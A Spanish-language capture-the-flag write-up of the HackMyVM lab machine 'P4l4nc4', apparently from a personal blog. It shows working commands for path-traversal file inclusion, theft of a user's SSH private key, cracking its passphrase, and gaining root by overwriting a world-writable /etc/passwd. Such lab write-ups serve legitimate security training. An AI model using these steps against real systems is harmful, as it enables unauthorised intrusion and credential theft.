cd ~/blog

~/writeups/hmv/121-p4l4nc4.md

121 - P4l4nc4

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
LFI (Local File Inclusion) con SSH Private Key DisclosureWeak Passphrase en una clave SSHWritable Critical File en /etc/passwd
hackmyvm.eu/machines/machine.php?vm=P4l4nc4

~1 min de lectura


Enumeración de servicios

El objetivo expone SSH y una página predeterminada de Apache. Como la portada no ofrece funcionalidad, revisamos archivos estándar como robots.txt y utilizamos su contenido para construir un diccionario específico del sitio:

❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.186
...
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
...

Enumeración web con un diccionario contextual

robots.txt contiene palabras que parecen pistas. CeWL las extrae y, dado el nombre de la máquina, transformamos el diccionario a leet (1337) antes de ejecutar Gobuster. La primera pasada descubre /n3gr4; una segunda, con el diccionario normalizado a minúsculas, encuentra m414nj3.php dentro de esa ruta:

❯ cewl -m 3 'http://192.168.1.186/robots.txt' > ./wordlist.txt

❯ gobuster dir -u 'http://192.168.1.186' -w ./wordlist_leet.txt -x php,txt,html,jpg,jpeg,sql,png,xml,zip,sh -r
...
/n3gr4                (Status: 200) [Size: 4]
...

❯ cat wordlist_leet.txt | tr '[:upper:]' '[:lower:]' > wordlist_leet_lower.txt
❯ gobuster dir -u 'http://192.168.1.186/n3gr4' -w ./wordlist_leet_lower.txt -x php,txt,html,jpg,jpeg,sql,png,xml,zip,sh -r
...
/m414nj3.php          (Status: 500) [Size: 0]
...

Explotación de la inclusión local de archivos

El estado 500 de m414nj3.php sugiere que necesita parámetros. Fuzzeamos sus nombres asignando /etc/passwd como valor; -fw 1 descarta la respuesta base y permite identificar page:

❯ ffuf -u 'http://192.168.1.186/n3gr4/m414nj3.php?FUZZ=../../../../../../../../../../../../../etc/passwd' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -fw 1
...
page                    [Status: 200, ...]
...

❯ curl 'http://192.168.1.186/n3gr4/m414nj3.php?page=/etc/passwd' | grep home
p4l4nc4:x:1000:1000:p4l4nc4,,,:/home/p4l4nc4:/bin/bash

La presencia del contenido de /etc/passwd confirma la LFI y revela una cuenta interactiva llamada p4l4nc4. Usamos la misma primitiva para descargar su clave privada SSH. Como está cifrada, ssh2john extrae un hash y John recupera su Weak Passphrase:

❯ curl 'http://192.168.1.186/n3gr4/m414nj3.php?page=/home/p4l4nc4/.ssh/id_rsa'  -o id_rsa

❯ ssh2john.py id_rsa > hash
❯ john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
friendster       (id_rsa)
...

❯ ssh p4l4nc4@192.168.1.186 -i id_rsa
Enter passphrase for key 'id_rsa': friendster
...
p4l4nc4@4ng014:~$

La clave permite iniciar sesión y recuperar la primera flag.

Detección de /etc/passwd escribible

Los permisos de /etc/passwd son 666, una condición de Writable Critical File que permite modificarlo desde una cuenta sin privilegios. Aunque los hashes modernos suelen residir en /etc/shadow, el campo de contraseña de /etc/passwd sigue siendo interpretado si contiene un hash válido:

p4l4nc4@4ng014:/tmp$ ls -l /etc/passwd
-rw-rw-rw- 1 root root 1066 Jan 24 10:55 /etc/passwd

Escalada mediante modificación de /etc/passwd

Generamos el hash de la contraseña 1234 con Perl y sustituimos únicamente el segundo campo de la entrada de root, preservando UID, GID, home y shell. Después usamos su con la nueva contraseña:

❯ perl -e 'print crypt("1234","aa")'
aatxRPdZ/m52.

p4l4nc4@4ng014:/tmp$ nano /etc/passwd
p4l4nc4@4ng014:/tmp$ su root
Password: 1234
root@4ng014:/tmp#

El prompt de root confirma la escalada. Con este acceso damos por completada la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados